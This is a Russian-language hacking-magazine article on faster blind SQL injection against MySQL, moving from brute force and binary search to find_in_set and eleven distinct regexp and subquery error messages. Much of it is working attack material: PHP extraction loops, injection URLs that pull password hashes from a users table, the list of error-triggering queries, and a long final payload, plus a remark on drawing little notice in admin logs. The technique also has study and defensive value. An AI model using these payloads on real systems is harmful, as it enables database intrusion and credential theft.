Каждый раз, натыкаясь на слепую SQL-инъекцию, ты представляешь себе долгие
минуты ожидания получения результатов из базы. Все знают, что процесс работы
ускорить невозможно. Да неужели? Прочитав эту статью, ты заставишь свои инъекции
отрабатывать по максимуму и станешь реальным SQL-гуру.

Основной проблемой при работе с Blind SQL Injection является огромное
количество запросов, которое необходимо послать на сервер для получения символов
из БД.

А соответственно — долгое время работы скрипта и большое количество записей в
логах. Вручную получать данные из БД практически нереально, поэтому процесс
работы с такими инъекциями нужно автоматизировать. Сейчас мы рассмотрим
некоторые варианты подобной автоматизации.

 

Полный перебор

Это самый простой, самый тупой и самый медленный способ получения символов из
базы данных. Для получения обычного MD5-хеша может потребоваться отправить до
512 запросов на сервер, а для получения логина — еще больше. Именно этот метод
новички применяют в своих первых эксплойтах. Реализация указанного способа
выглядит приблизительно так:

for($i=1;$i<=32;$i++)
for($j=1;$j<=255;$j++){
$res = send(
$url,
"sql.php?id=if(ascii(substring((select+passhash+from+users+where+id=0),$i,1))=$j,(select+1+union+select+2),'1')"
);
if(!preg_match('/Subquery returns/', $res) {
echo $j;
continue;
}
}

Принцип работы прост — для каждого символа сравниваем значение его ASCII-кода
со всеми возможными значениями символов. Если выполняется некоторое условие, то
символ найден, и его можно выводить на экран. Если условие не выполняется — ищем
дальше.

Очевидно, что плюсов у этого метода нет. Совсем. За исключением того, что
накалякать код такого скрипта очень просто. Но разве это то, что нужно
настоящему хакеру? Оставим этот способ киддисам и будем двигаться дальше.

 

Бинарный (двоичный) поиск

Каждый уважающий себя программист знает о методе под названием бинарный,
или двоичный, поиск
. Этот метод используется для поиска позиции элемента в
отсортированном массиве. И именно он применяется почти во всех адекватных
скриптах, программах и эксплойтах, работающих со слепыми SQL-инъекциями.

  1. Берем диапазон всех возможных символов (для хеша MD5 — [0-9,a-f]) и
    сравниваем значение кода символа в БД с кодом символа, который мы передали в
    запросе.
  2. Если код символа в БД больше, чем код переданного символа, то на следующем
    шаге в качестве диапазона возможных символов берем диапазон от символа, с
    которым мы только что сравнивали значение в БД, до правой границы предыдущего
    диапазона и идем на шаг 1.
  3. Если код символа меньше, то берем диапазон от текущего символа до левой
    границы диапазона на предыдущем шаге и идем на шаг 1.
  4. Если символ не больше и не меньше, то мы как раз его и нашли.

А если рассматривать реализацию на языке программирования, то вот пример
функции, реализующей поиск нужного символа этим методом:

function getChar($url, $field, $pos, $lb=0, $ub=255)
{
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);

if($lb > $ub)
return -1;
}
}

Рассмотрим этот способ на примере получения из базы MD5-хеша юзера. При этом
учтем следующие условия:

  1. Диапазон возможных символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f.
  2. В БД находится символ: ‘b’.

Запускаем алгоритм:

  1. Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f]; серединой
    является символ ‘8’.
  2. Сравниваем, – код символа ‘b’ больше или меньше, чем код символа ‘8’?
    (шлем запрос).
  3. Код больше, поэтому на следующую итерацию уже берем диапазон
    [8,9,a,b,c,d,e,f]; серединой является символ ‘с’.
  4. Сравниваем, – код символа ‘b’ больше или меньше, чем код символа ‘с’?
    (шлем запрос).
  5. Код меньше, поэтому на следующую итерацию берем диапазон [8,9,a,b,c];
    серединой является символ ‘a’.
  6. Сравниваем, – код символа ‘b’ больше, чем код символа ‘a’? (шлем запрос).
  7. Код больше, поэтому на следующую итерацию берем диапазон [a,b,c];
    серединой является символ ‘b’.
  8. Сравниваем, – код символа ‘b’ больше или меньше, чем код символа ‘b’?
    (шлем запрос).
  9. Код ни больше и не меньше, значит, символ в БД = ‘b’

Таким образом, в зависимости от конкретной реализации алгоритма, мы
отправляем до 5-6 запросов на определение символа. И это в худшем случае, так
как символ может найтись и раньше. Итого получаем примерно 160-170 запросов на
получение MD5-хеша. Уже лучше, но зачем останавливаться на достигнутом, если
можно действовать еще быстрее?

 

Использование find_in_set() и подобных функций

Функция find_in_set(str,strlist) используется для поиска подстроки
среди списка строк, разделенных символом ‘,’ и возвращает номер той строки из
списка, которая равна переданному аргументу. То есть:

mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2

Код символа из базы данных можно узнать при помощи запроса:

select find_in_set((substring((select password from users limit
1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');

В результате мы получаем номер символа во множестве
‘0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f’. К примеру, для символа ‘b’, этот запрос
вернет 12.

А теперь подумаем, что же можно из этого выжать? Для того чтобы принять
результаты запроса, мы должны как-то научиться принимать числа, являющиеся
результатом. Но непосредственно при слепой SQL-инъекции мы этого сделать не
можем. А что, если мы имеем дело с инъекцией, к примеру, в скрипте отображения
новостей, и в зависимости от id, переданного скрипту, будем видеть разные
странички? Тогда боевой запрос, нужный для получения символов из MD5, будет
выглядеть вот так:

news.php?id=find_in_set(substring((select passhash from users limit
0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')

Тогда, в зависимости от номера символа в строке
‘0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f’, мы будем видеть новость с id, соответствующим
символу пароля.

Для удобства использования на практике нужно:

  1. Выделить ключевые слова на страницах с нужными id.
  2. Отправить запросы с find_in_set для каждого символа из БД.
  3. Выяснить, страницу с каким id мы получили и вывести на экран код символа.

То есть, для получения MD5-хеша, нам потребуется выявить 16 страниц с
уникальными id, по одной странице для каждого символа алфавита, а также
отправить 32 запроса для определения значения каждого символа. В итоге, при
использовании этого метода нам потребуется отправить всего 48 запросов на
сервер, 16 из которых никакого подозрения читающего логи админа вызвать не
могут.

Изначально этот метод предложили +toxa+ и madnet. Они же заметили, что помимо
функции find_in_set для реализации подобной атаки можно использовать функции
LOCATE(),INSTR(),ASCII(),ORD(). Причем, ASCII() и ORD() даже предпочтительнее за
счет того, что они присутствуют не только в MySQL.

Способ работает быстро, но обладает рядом недостатков. К примеру, на сайте
идентификаторы новостей могут быть распределены неравномерно, то есть скрипт
приходится затачивать под каждый сайт индивидуально. Еще одной проблемой
является то, что для большого количества символов в алфавите нужно большое
количество уникальных страниц, которые не всегда присутствуют.

В общем, мотаем на ус и двигаемся дальше.

 

Использование find_in_set() + more1row

Если хорошенько поиграться с методом, предложенным выше, можно заметить, что
все его минусы сводятся к тому, что далеко не на всех сайтах возможно получить
достаточное количество различных страниц, зависящих от одного параметра. Решим
эту проблему. Вспомним метод,
предложенный Elekt’ом
в ][ #111
, который основан на использовании ошибки "Subquery returns more
than 1 row".

Суть метода
заключается в том, чтобы заставить скрипт выводить ошибку SQL в зависимости от
результата SQL-запроса. На данный момент, чтобы спровоцировать БД на вывод
ошибки, наиболее часто используется запрос:

SELECT 1 UNION SELECT 2

– который вернет ошибку:

#1242 - Subquery returns more than 1 row

Также ZaCo нашел альтернативный вариант запроса, который провоцирует БД на
вывод ошибки в зависимости от условия:

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

В том случае, если версия MySql не равна 5, этот запрос вернет ошибку:

#1139 - Got error 'invalid repetition count(s)' from regexp

Немного порывшись в исходниках MySql и погуглив, можно найти еще 9 ошибок,
которые возвращает неправильный regexp. Итого, от сервера мы можем получить 11
видов ошибок + 1 состояние, когда ошибки нет:

SELECT 1
No error

select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row

select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp

select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp

select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp

select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp

select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp

select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp

select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp

select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp

select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp

select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp

Пока просто примем это во внимание. Теперь самое время вспомнить о функции
find_in_set. Если искомый символ есть во множестве подстрок, она вернет номер
подстроки, если нет — вернет 0. Попробуем привязать результат работы этой
функции к различным кодам ошибок и передадим вот такой запрос:

select * from users where id=-1
AND "x" regexp
concat("x{1,25",
if(
find_in_set(
substring((select passwd from users where id=1),1,1),
'a,b,c,d,e,f,1,2,3,4,5,6'
)>0,
(select 1 union select 2),
"6}"
)
)

В результате, если первый символ пароля находится во множестве
‘a,b,c,d,e,f,1,2,3,4,5,6’, то запрос вернет:

#1242 - Subquery returns more than 1 row

А если не находится, то:

#1139 - Got error 'invalid repetition count(s)' from regexp

При каждом запросе по коду ошибки мы можем узнать, к какой группе принадлежит
символ!

Напишем скрипт, использующий данный метод. Для составления оптимального
запроса нужно сгруппировать символы алфавита так, чтобы количество обращений к
серверу было минимальным. Рассмотрим задачу на примере MD5. Мы знаем, что у нас
могут присутствовать только символы из диапазона [0-9,a-f]. Также мы знаем, что
количество групп символов равно двенадцати, ведь всего наш запрос может вернуть
одиннадцать видов ошибок и одно состояние, когда ошибки нет. Для случая с MD5
оптимальной расстановкой символов по состояниям, к примеру, будет:

[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'

При каждом запросе к серверу мы узнаем номер группы, в которой находится
символ, хранящийся в БД. В итоге, если символ находится в группах 02-11, – мы
узнаем значение этого символа с помощью всего одного запроса. Если нам не
повезло и символ находится в группе 01, то перед отправкой следующего запроса,
рассортируем символы из этой группы по состояниям и сразу же узнаем значение
интересующего нас символа:

[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'

Итоговый алгоритм работы по этому методу выглядит несложно:

  1. Оптимально распределить символы алфавита по группам.
  2. Установить соответствия между номером группы и возвращаемым кодом ошибки.
  3. По возвращенному коду ошибки выяснить, в какой группе находится символ из
    БД.
  4. Если в этой группе только один символ, то выводим его на экран; если
    больше, чем один символ, то распределим символы из группы по состояниям и
    возвращаемся к шагу 2.

В соответствии с алгоритмом составляем запрос. И замечаем, что ошибки,
которые мы собираемся использовать, обладают парой особенностей.

Первая заключается в том, что запрос

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

вернет нужную нам ошибку, только если мы его будем передавать на сервер
именно в таком виде. То есть, все вложенные условия нужно добавлять внутрь этого
if, а также в начале всех остальных выражений regexp нужно добавлять символ "}".
Иначе, независимо от содержания остальных подзапросов, мы будем получать лишь
ошибку: "#1139 — Got error ‘repetition-operator operand invalid’ from regexp".

Вторая особенность заключается в том, что запрос

select 1 regexp if(1=1,'',2)

возвращающий ошибку "Got error ’empty (sub)expression’ from regexp",
работает, как хочется нам только при наличии пустого подзапроса в regexp или
так: ‘a|’, когда после символа ‘|’ отсутствует что бы то ни было. Поэтому, с
учетом первой особенности, будем использовать именно этот вид подзапроса.

Теперь попробуем собрать всю известную нам информацию вместе, и для
выуживания MD5-хеша получаем итоговый запрос:

sql.php?id=1+AND+"x"+
regexp+concat("x{1,25",+(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9,a'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f'),
('}'),
(select+1+union+select+2))),
'}x{1,0}')),
'}x{1,(')),
'}[[:]]')),
'}[[')),
'}(({1}')),
'}|')),
'}(')),
'}[2-1]')),
'}[[.ch.]]')),
'}\\')))
+--+1

В результате, этот запрос не вернет ошибки, если символ из базы данных
является одним из символов ‘0,c,d,e,f’, а вернет ошибку "Subquery returns more
than 1 row", если в базе данных лежит цифра 1. Также запрос вернет ошибку
‘invalid repetition count(s)’, если в базе лежит символ ‘2’. И так далее.

Итак, мы добились того, чего хотели — запрос при помощи 11 различных видов
ошибок сообщает нам, какой именно символ лежит в базе данных. Мы получаем
быстродействие, превышающее скорость работы всех остальных методов работы с
Blind SQL Injection. Для выуживания MD5-хеша нам потребуется около 42 запросов,
а это уже на порядок быстрее, чем в тех методах, которые используют сейчас. Мало
того, если найти еще 4 запроса, при которых ошибка будет возникать во время
выполнения, то на получение всего хеша нам потребуется уже 32 запроса. А это
значит – 1 запрос на 1 символ. Раньше о подобном можно было только мечтать.

Понятно, что подобные SQL-обращения крайне тяжело составлять вручную, поэтому
на диске с
журналом ты
найдешь скрипт, который умеет составлять запросы для алфавитов любой длины и при
любом количестве известных ошибок.

 

Outro

На самом деле, существуют еще возможности ускорить процесс работы со слепыми
SQL-инъекциями. Осталось только их найти. Главное, не зацикливаться на
"дедовских" методах. Относиться ко всему, что придумали хакеры предыдущих
поколений, надо, как к деталям мозаики, сложив которые воедино, можно выйти на
совершенно новый уровень развития технологий взлома.

 

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!

 

WWW


dev.mysql.com/sources/doxygen/mysql-5.1/regerror_8c-source.html
— исходники
MySQL, отвечающие за отображение ошибок regexp.
dev.mysql.com/doc
документация по MySQL (рекомендую).

ru.wikipedia.org/wiki/Двоичный_поиск
— базовые алгоритмы надо знать!

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…